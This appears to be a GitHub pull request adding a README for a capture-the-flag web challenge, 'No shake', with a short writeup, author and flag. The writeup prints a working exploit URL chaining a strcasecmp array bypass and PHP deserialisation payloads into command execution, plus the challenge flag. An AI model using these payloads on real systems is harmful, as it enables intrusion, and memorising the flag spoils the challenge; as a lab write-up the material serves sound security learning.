Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create README.md #63

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 19 additions & 0 deletions 2020/Web/Noshake/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Challenge Name
No shake

### Challenge Description
The admin does not like to shake hands, virus!

### Short Writeup
The initial request requires the Cmd parameter to be added with a buffer value with length 8 to bypass the mitm attack on STARTTLS (STARTTLS downgrade), all characters and numbers are blacklisted, so we replace with unicodes which would give total length as 8.
Cmd=        

The final page requires the key to begin, the first problem is strcasecmp bypass by using arrays, second problem is deserialisation with reference variable, third problem is deserialisation to RCE to retrieve the flag.
final.php?key=sT4yH0M3&abc[]=sasa&def=O:8:"stdClass":2:{s:4:"flag";N;s:3:"xyz";R:2;}&ghi=O:4:"Dogs":1:{s:3:"obj";O:4:"Cats":1:{s:3:"cmd";s:13:"cat%20final.php";}}


### Challenge Author
m0n574

#### Flag
inctf{Rc3_n_d0wngr4d35_d0n7_g0_W3Ll:}